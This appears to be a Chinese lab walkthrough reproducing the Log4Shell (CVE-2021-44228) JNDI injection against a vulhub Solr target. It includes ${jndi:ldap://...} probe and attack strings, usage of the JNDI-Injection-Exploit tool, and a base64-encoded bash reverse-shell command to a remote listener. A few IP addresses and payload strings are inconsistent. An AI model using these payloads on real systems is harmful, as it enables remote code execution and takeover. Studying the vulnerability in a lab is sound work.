漏洞简介
Apache Log4j是一款非常受欢迎的Java日志记录框架,广泛应用于企业级应用和各种互联网产品中。然而,近期公开的CVE-2021-44228漏洞给这个稳定的框架带来了严重威胁。这个漏洞允许攻击者在受影响的系统上执行任意代码,可能导致敏感数据泄露、系统被完全控制等严重后果。该漏洞的产生主要源于Log4j的某些功能在处理特定输入时存在安全缺陷。攻击者可以通过精心构造的输入,利用Java的反射机制,触发特定条件下的代码执行。这意味着,如果攻击者能够成功发送恶意输入,他们就可以在目标系统上执行任意命令,从而实现对系统的完全控制。
攻击过程
a.攻击者发送一个HTTP请求,其用户名为${jndi://rmi:服务器地址/Exploit}
b.被攻击服务器发现要输出的信息中有 ${},则其中的内容要单独处理,进一步解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
c.RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端 文件下载服务器上含有恶意代码的class文件。
d.被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。
e.被攻击服务器下载恶意class文件并执行其中的恶意代码。
LDAP
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
a.假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}
b.被攻击服务器发现要输出的信息中有 ${},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
c.解析到ldap,就会去192.168.61.129:1099的ldap服务找名为exp的资源,如果找不到就会去http服务中找,在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害
环境搭建
选择vulhub-master作为靶场环境
进入目录 然后直接docker-compose up -d 没权限的加sudo
然后访问http://192.168.149.129:8983 (我这里是windows代理出来了)你在虚拟机里面是127.0.0.1:8983
搭建成功
漏洞复现
Dashboard - requestrepo.com 大佬都在用的dns网站或者其他的都行
dnspoc
/solr/admin/cores?action=${jndi:ldap://xxxxxxxx.io} #ladp是协议,后的地址dns地址
dns收到请求
利用JNDIExploit攻击
大家先去下载
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
然后利用找一台公网能弹shell的服务器 然后运行生成payload
[~]#棱角 ::Edge.Forum*在棱角社区在这个反弹shell的payload
然后运行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4yMi84ODk5IDA+JjE=|{bash,-i}"
-A "172.27.72.178"
访问下面的生成的链接作为payload
同时服务器开启监听
${jndi:ldap://ip:port/bltvbo}
执行服务器收到链接
至此复现成功。
参考文章: